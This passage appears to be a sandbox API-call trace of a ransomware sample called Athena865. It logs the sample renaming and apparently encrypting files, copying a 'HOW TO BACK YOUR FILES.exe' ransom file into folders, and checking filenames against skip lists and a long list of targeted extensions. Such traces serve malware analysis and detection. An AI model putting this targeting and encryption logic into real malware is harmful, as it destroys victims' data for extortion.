lpString2="dbc") returned 1 [0099.363] lstrlenW (lpString="dbs") returned 3 [0099.363] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0099.363] lstrlenW (lpString="dbt") returned 3 [0099.363] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0099.363] lstrlenW (lpString="dbv") returned 3 [0099.363] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0099.363] lstrlenW (lpString="dbx") returned 3 [0099.363] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0099.363] lstrlenW (lpString="dcb") returned 3 [0099.363] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0099.363] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Start Menu\\Programs\\desktop.ini.Athena865") returned 56 [0099.363] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Start Menu\\Programs\\desktop.ini" (normalized: "c:\\programdata\\start menu\\programs\\desktop.ini"), lpNewFileName="C:\\ProgramData\\Start Menu\\Programs\\desktop.ini.Athena865" (normalized: "c:\\programdata\\start menu\\programs\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0099.364] CreateFileW (lpFileName="C:\\ProgramData\\Start Menu\\Programs\\desktop.ini.Athena865" (normalized: "c:\\programdata\\start menu\\programs\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0099.364] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1130) returned 1 [0099.365] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.365] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.365] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.365] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.366] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.366] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.366] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x770, lpName=0x0) returned 0x154 [0099.366] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x770) returned 0x100000 [0099.366] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.367] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.367] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5399c8 [0099.367] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5399c8 | out: hHeap=0x4f0000) returned 1 [0099.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.367] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.367] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.367] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.367] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.368] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.368] CloseHandle (hObject=0x154) returned 1 [0099.368] CloseHandle (hObject=0x17c) returned 1 [0099.373] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.374] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.374] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.374] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa224bfc3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa224bfc3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Games", cAlternateFileName="")) returned 1 [0099.377] lstrcmpiW (lpString1="Games", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.381] lstrcmpiW (lpString1="Games", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0099.382] lstrcmpiW (lpString1="Games", lpString2=".") returned 1 [0099.382] lstrcmpiW (lpString1="Games", lpString2="..") returned 1 [0099.382] lstrcmpiW (lpString1="Games", lpString2="windows") returned -1 [0099.382] lstrcmpiW (lpString1="Games", lpString2="bootmgr") returned 1 [0099.382] lstrcmpiW (lpString1="Games", lpString2="temp") returned -1 [0099.382] lstrcmpiW (lpString1="Games", lpString2="pagefile.sys") returned -1 [0099.382] lstrcmpiW (lpString1="Games", lpString2="boot") returned 1 [0099.383] lstrcmpiW (lpString1="Games", lpString2="ids.txt") returned -1 [0099.384] lstrcmpiW (lpString1="Games", lpString2="ntuser.dat") returned -1 [0099.384] lstrcmpiW (lpString1="Games", lpString2="perflogs") returned -1 [0099.384] lstrcmpiW (lpString1="Games", lpString2="MSBuild") returned -1 [0099.384] lstrlenW (lpString="Games") returned 5 [0099.384] lstrcpyW (in: lpString1=0x241e88e, lpString2="Games" | out: lpString1="Games") returned="Games" [0099.384] SetFileAttributesW (lpFileName="C:\\ProgramData\\Start Menu\\Programs\\Games", dwFileAttributes=0x10) returned 1 [0099.385] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52be90 [0099.385] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x52) returned 0x52fe00 [0099.385] lstrcatW (in: lpString1="Games", lpString2="\\" | out: lpString1="Games\\") returned="Games\\" [0099.385] lstrcatW (in: lpString1="Games\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Games\\HOW TO BACK YOUR FILES.exe") returned="Games\\HOW TO BACK YOUR FILES.exe" [0099.385] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Start Menu\\Programs\\Games\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\start menu\\programs\\games\\how to back your files.exe"), bFailIfExists=1) returned 1 [0099.446] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df47e00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7df47e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7df47e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8dd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1 [0099.446] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.446] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0099.446] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2=".") returned 1 [0099.446] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="..") returned 1 [0099.446] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="windows") returned -1 [0099.446] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="bootmgr") returned 1 [0099.446] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="temp") returned -1 [0099.446] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="pagefile.sys") returned -1 [0099.446] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="boot") returned 1 [0099.446] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="ids.txt") returned -1 [0099.446] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="ntuser.dat") returned -1 [0099.446] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="perflogs") returned -1 [0099.446] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="MSBuild") returned -1 [0099.446] lstrlenW (lpString="Google Chrome.lnk") returned 17 [0099.446] lstrcpyW (in: lpString1=0x241e88e, lpString2="Google Chrome.lnk" | out: lpString1="Google Chrome.lnk") returned="Google Chrome.lnk" [0099.446] lstrlenW (lpString="Google Chrome.lnk") returned 17 [0099.446] lstrlenW (lpString="Athena865") returned 9 [0099.447] lstrcmpiW (lpString1="hrome.lnk", lpString2="Athena865") returned 1 [0099.447] lstrlenW (lpString=".dll") returned 4 [0099.447] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2=".dll") returned 1 [0099.447] lstrlenW (lpString=".lnk") returned 4 [0099.447] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2=".lnk") returned 1 [0099.447] lstrlenW (lpString=".ini") returned 4 [0099.447] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2=".ini") returned 1 [0099.447] lstrlenW (lpString=".sys") returned 4 [0099.447] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2=".sys") returned 1 [0099.447] lstrlenW (lpString="Google Chrome.lnk") returned 17 [0099.447] lstrlenW (lpString="bak") returned 3 [0099.447] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0099.447] lstrlenW (lpString="ba_") returned 3 [0099.447] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0099.447] lstrlenW (lpString="dbb") returned 3 [0099.447] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0099.447] lstrlenW (lpString="vmdk") returned 4 [0099.447] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0099.447] lstrlenW (lpString="rar") returned 3 [0099.447] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0099.447] lstrlenW (lpString="zip") returned 3 [0099.447] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0099.447] lstrlenW (lpString="tgz") returned 3 [0099.447] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0099.447] lstrlenW (lpString="vbox") returned 4 [0099.447] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0099.447] lstrlenW (lpString="vdi") returned 3 [0099.447] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0099.447] lstrlenW (lpString="vhd") returned 3 [0099.447] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0099.447] lstrlenW (lpString="vhdx") returned 4 [0099.447] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0099.447] lstrlenW (lpString="avhd") returned 4 [0099.448] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0099.448] lstrlenW (lpString="db") returned 2 [0099.448] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0099.448] lstrlenW (lpString="db2") returned 3 [0099.448] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0099.448] lstrlenW (lpString="db3") returned 3 [0099.448] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0099.448] lstrlenW (lpString="dbf") returned 3 [0099.448] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0099.448] lstrlenW (lpString="mdf") returned 3 [0099.448] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0099.448] lstrlenW (lpString="mdb") returned 3 [0099.448] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0099.448] lstrlenW (lpString="sql") returned 3 [0099.448] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0099.448] lstrlenW (lpString="sqlite") returned 6 [0099.448] lstrcmpiW (lpString1="me.lnk", lpString2="sqlite") returned -1 [0099.448] lstrlenW (lpString="sqlite3") returned 7 [0099.448] lstrcmpiW (lpString1="ome.lnk", lpString2="sqlite3") returned -1 [0099.448] lstrlenW (lpString="sqlitedb") returned 8 [0099.448] lstrcmpiW (lpString1="rome.lnk", lpString2="sqlitedb") returned -1 [0099.448] lstrlenW (lpString="xml") returned 3 [0099.448] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0099.448] lstrlenW (lpString="$er") returned 3 [0099.448] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0099.448] lstrlenW (lpString="4dd") returned 3 [0099.448] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0099.448] lstrlenW (lpString="4dl") returned 3 [0099.448] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0099.448] lstrlenW (lpString="^^^") returned 3 [0099.448] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0099.448] lstrlenW (lpString="abs") returned 3 [0099.448] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0099.449] lstrlenW (lpString="abx") returned 3 [0099.449] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0099.449] lstrlenW (lpString="accdb") returned 5 [0099.449] lstrcmpiW (lpString1="e.lnk", lpString2="accdb") returned 1 [0099.449] lstrlenW (lpString="accdc") returned 5 [0099.449] lstrcmpiW (lpString1="e.lnk", lpString2="accdc") returned 1 [0099.449] lstrlenW (lpString="accde") returned 5 [0099.449] lstrcmpiW (lpString1="e.lnk", lpString2="accde") returned 1 [0099.449] lstrlenW (lpString="accdr") returned 5 [0099.449] lstrcmpiW (lpString1="e.lnk", lpString2="accdr") returned 1 [0099.449] lstrlenW (lpString="accdt") returned 5 [0099.449] lstrcmpiW (lpString1="e.lnk", lpString2="accdt") returned 1 [0099.449] lstrlenW (lpString="accdw") returned 5 [0099.449] lstrcmpiW (lpString1="e.lnk", lpString2="accdw") returned 1 [0099.449] lstrlenW (lpString="accft") returned 5 [0099.449] lstrcmpiW (lpString1="e.lnk", lpString2="accft") returned 1 [0099.449] lstrlenW (lpString="adb") returned 3 [0099.449] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0099.449] lstrlenW (lpString="adb") returned 3 [0099.449] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0099.449] lstrlenW (lpString="ade") returned 3 [0099.449] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0099.449] lstrlenW (lpString="adf") returned 3 [0099.449] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0099.449] lstrlenW (lpString="adn") returned 3 [0099.449] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0099.449] lstrlenW (lpString="adp") returned 3 [0099.449] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0099.449] lstrlenW (lpString="alf") returned 3 [0099.449] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0099.449] lstrlenW (lpString="ask") returned 3 [0099.449] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0099.449] lstrlenW (lpString="btr") returned 3 [0099.449] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0099.450] lstrlenW (lpString="cat") returned 3 [0099.450] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0099.450] lstrlenW (lpString="cdb") returned 3 [0099.450] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0099.450] lstrlenW (lpString="ckp") returned 3 [0099.450] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0099.450] lstrlenW (lpString="cma") returned 3 [0099.450] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0099.450] lstrlenW (lpString="cpd") returned 3 [0099.450] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0099.450] lstrlenW (lpString="dacpac") returned 6 [0099.450] lstrcmpiW (lpString1="me.lnk", lpString2="dacpac") returned 1 [0099.450] lstrlenW (lpString="dad") returned 3 [0099.450] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0099.450] lstrlenW (lpString="dadiagrams") returned 10 [0099.450] lstrcmpiW (lpString1="Chrome.lnk", lpString2="dadiagrams") returned -1 [0099.450] lstrlenW (lpString="daschema") returned 8 [0099.450] lstrcmpiW (lpString1="rome.lnk", lpString2="daschema") returned 1 [0099.450] lstrlenW (lpString="db-journal") returned 10 [0099.450] lstrcmpiW (lpString1="Chrome.lnk", lpString2="db-journal") returned -1 [0099.450] lstrlenW (lpString="db-shm") returned 6 [0099.450] lstrcmpiW (lpString1="me.lnk", lpString2="db-shm") returned 1 [0099.450] lstrlenW (lpString="db-wal") returned 6 [0099.450] lstrcmpiW (lpString1="me.lnk", lpString2="db-wal") returned 1 [0099.450] lstrlenW (lpString="dbc") returned 3 [0099.450] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0099.450] lstrlenW (lpString="dbs") returned 3 [0099.450] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0099.450] lstrlenW (lpString="dbt") returned 3 [0099.450] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0099.450] lstrlenW (lpString="dbv") returned 3 [0099.450] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0099.451] lstrlenW (lpString="dbx") returned 3 [0099.451] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0099.451] lstrlenW (lpString="dcb") returned 3 [0099.451] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0099.451] lstrlenW (lpString="dct") returned 3 [0099.451] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1 [0099.451] lstrlenW (lpString="dcx") returned 3 [0099.451] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1 [0099.451] lstrlenW (lpString="ddl") returned 3 [0099.451] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1 [0099.451] lstrlenW (lpString="dlis") returned 4 [0099.451] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1 [0099.451] lstrlenW (lpString="dp1") returned 3 [0099.451] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1 [0099.451] lstrlenW (lpString="dqy") returned 3 [0099.451] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1 [0099.451] lstrlenW (lpString="dsk") returned 3 [0099.451] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1 [0099.451] lstrlenW (lpString="dsn") returned 3 [0099.451] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1 [0099.451] lstrlenW (lpString="dtsx") returned 4 [0099.451] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1 [0099.451] lstrlenW (lpString="dxl") returned 3 [0099.451] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1 [0099.451] lstrlenW (lpString="eco") returned 3 [0099.451] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1 [0099.451] lstrlenW (lpString="ecx") returned 3 [0099.451] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1 [0099.451] lstrlenW (lpString="edb") returned 3 [0099.451] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1 [0099.451] lstrlenW (lpString="epim") returned 4 [0099.451] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1 [0099.452] lstrlenW (lpString="fcd") returned 3 [0099.452] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1 [0099.452] lstrlenW (lpString="fdb") returned 3 [0099.452] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1 [0099.452] lstrlenW (lpString="fic") returned 3 [0099.452] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1 [0099.452] lstrlenW (lpString="flexolibrary") returned 12 [0099.452] lstrcmpiW (lpString1="e Chrome.lnk", lpString2="flexolibrary") returned -1 [0099.452] lstrlenW (lpString="fm5") returned 3 [0099.452] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1 [0099.452] lstrlenW (lpString="fmp") returned 3 [0099.452] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1 [0099.452] lstrlenW (lpString="fmp12") returned 5 [0099.453] lstrcmpiW (lpString1="e.lnk", lpString2="fmp12") returned -1 [0099.453] lstrlenW (lpString="fmpsl") returned 5 [0099.453] lstrcmpiW (lpString1="e.lnk", lpString2="fmpsl") returned -1 [0099.453] lstrlenW (lpString="fol") returned 3 [0099.453] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1 [0099.453] lstrlenW (lpString="fp3") returned 3 [0099.453] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1 [0099.453] lstrlenW (lpString="fp4") returned 3 [0099.453] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 1 [0099.453] lstrlenW (lpString="fp5") returned 3 [0099.453] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1 [0099.453] lstrlenW (lpString="fp7") returned 3 [0099.453] lstrcmpiW (lpString1="lnk", lpString2="fp7") returned 1 [0099.453] lstrlenW (lpString="fpt") returned 3 [0099.453] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1 [0099.453] lstrlenW (lpString="frm") returned 3 [0099.453] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1 [0099.453] lstrlenW (lpString="gdb") returned 3 [0099.453] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0099.453] lstrlenW (lpString="gdb") returned 3 [0099.453] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0099.453] lstrlenW (lpString="grdb") returned 4 [0099.453] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1 [0099.453] lstrlenW (lpString="gwi") returned 3 [0099.453] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1 [0099.453] lstrlenW (lpString="hdb") returned 3 [0099.453] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1 [0099.454] lstrlenW (lpString="his") returned 3 [0099.454] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1 [0099.454] lstrlenW (lpString="ib") returned 2 [0099.454] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1 [0099.454] lstrlenW (lpString="idb") returned 3 [0099.454] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1 [0099.454] lstrlenW (lpString="ihx") returned 3 [0099.454] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1 [0099.454] lstrlenW (lpString="itdb") returned 4 [0099.454] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1 [0099.454] lstrlenW (lpString="itw") returned 3 [0099.454] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1 [0099.454] lstrlenW (lpString="jet") returned 3 [0099.454] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1 [0099.454] lstrlenW (lpString="jtx") returned 3 [0099.454] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1 [0099.454] lstrlenW (lpString="kdb") returned 3 [0099.454] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1 [0099.454] lstrlenW (lpString="kexi") returned 4 [0099.454] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1 [0099.454] lstrlenW (lpString="kexic") returned 5 [0099.454] lstrcmpiW (lpString1="e.lnk", lpString2="kexic") returned -1 [0099.454] lstrlenW (lpString="kexis") returned 5 [0099.454] lstrcmpiW (lpString1="e.lnk", lpString2="kexis") returned -1 [0099.454] lstrlenW (lpString="lgc") returned 3 [0099.454] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1 [0099.454] lstrlenW (lpString="lwx") returned 3 [0099.454] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1 [0099.454] lstrlenW (lpString="maf") returned 3 [0099.454] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1 [0099.454] lstrlenW (lpString="maq") returned 3 [0099.455] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1 [0099.455] lstrlenW (lpString="mar") returned 3 [0099.455] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1 [0099.455] lstrlenW (lpString="marshal") returned 7 [0099.455] lstrcmpiW (lpString1="ome.lnk", lpString2="marshal") returned 1 [0099.455] lstrlenW (lpString="mas") returned 3 [0099.455] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1 [0099.455] lstrlenW (lpString="mav") returned 3 [0099.455] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1 [0099.455] lstrlenW (lpString="maw") returned 3 [0099.455] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1 [0099.455] lstrlenW (lpString="mdbhtml") returned 7 [0099.455] lstrcmpiW (lpString1="ome.lnk", lpString2="mdbhtml") returned 1 [0099.455] lstrlenW (lpString="mdn") returned 3 [0099.455] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1 [0099.455] lstrlenW (lpString="mdt") returned 3 [0099.455] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1 [0099.455] lstrlenW (lpString="mfd") returned 3 [0099.455] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1 [0099.455] lstrlenW (lpString="mpd") returned 3 [0099.455] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1 [0099.455] lstrlenW (lpString="mrg") returned 3 [0099.455] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1 [0099.455] lstrlenW (lpString="mud") returned 3 [0099.455] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1 [0099.455] lstrlenW (lpString="mwb") returned 3 [0099.455] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1 [0099.455] lstrlenW (lpString="myd") returned 3 [0099.455] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1 [0099.455] lstrlenW (lpString="ndf") returned 3 [0099.455] lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1 [0099.456] lstrlenW (lpString="nnt") returned 3 [0099.456] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1 [0099.456] lstrlenW (lpString="nrmlib") returned 6 [0099.456] lstrcmpiW (lpString1="me.lnk", lpString2="nrmlib") returned -1 [0099.456] lstrlenW (lpString="ns2") returned 3 [0099.456] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1 [0099.456] lstrlenW (lpString="ns3") returned 3 [0099.456] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1 [0099.456] lstrlenW (lpString="ns4") returned 3 [0099.456] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1 [0099.456] lstrlenW (lpString="nsf") returned 3 [0099.456] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1 [0099.456] lstrlenW (lpString="nv") returned 2 [0099.456] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1 [0099.456] lstrlenW (lpString="nv2") returned 3 [0099.456] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1 [0099.456] lstrlenW (lpString="nwdb") returned 4 [0099.456] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1 [0099.456] lstrlenW (lpString="nyf") returned 3 [0099.456] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1 [0099.456] lstrlenW (lpString="odb") returned 3 [0099.456] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0099.456] lstrlenW (lpString="odb") returned 3 [0099.456] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0099.456] lstrlenW (lpString="oqy") returned 3 [0099.456] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1 [0099.456] lstrlenW (lpString="ora") returned 3 [0099.456] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1 [0099.456] lstrlenW (lpString="orx") returned 3 [0099.456] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1 [0099.456] lstrlenW (lpString="owc") returned 3 [0099.456] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1 [0099.457] lstrlenW (lpString="p96") returned 3 [0099.457] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1 [0099.457] lstrlenW (lpString="p97") returned 3 [0099.457] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1 [0099.457] lstrlenW (lpString="pan") returned 3 [0099.457] lstrcmpiW (lpString1="lnk", lpString2="pan") returned -1 [0099.457] lstrlenW (lpString="pdb") returned 3 [0099.457] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1 [0099.457] lstrlenW (lpString="pdm") returned 3 [0099.457] lstrcmpiW (lpString1="lnk", 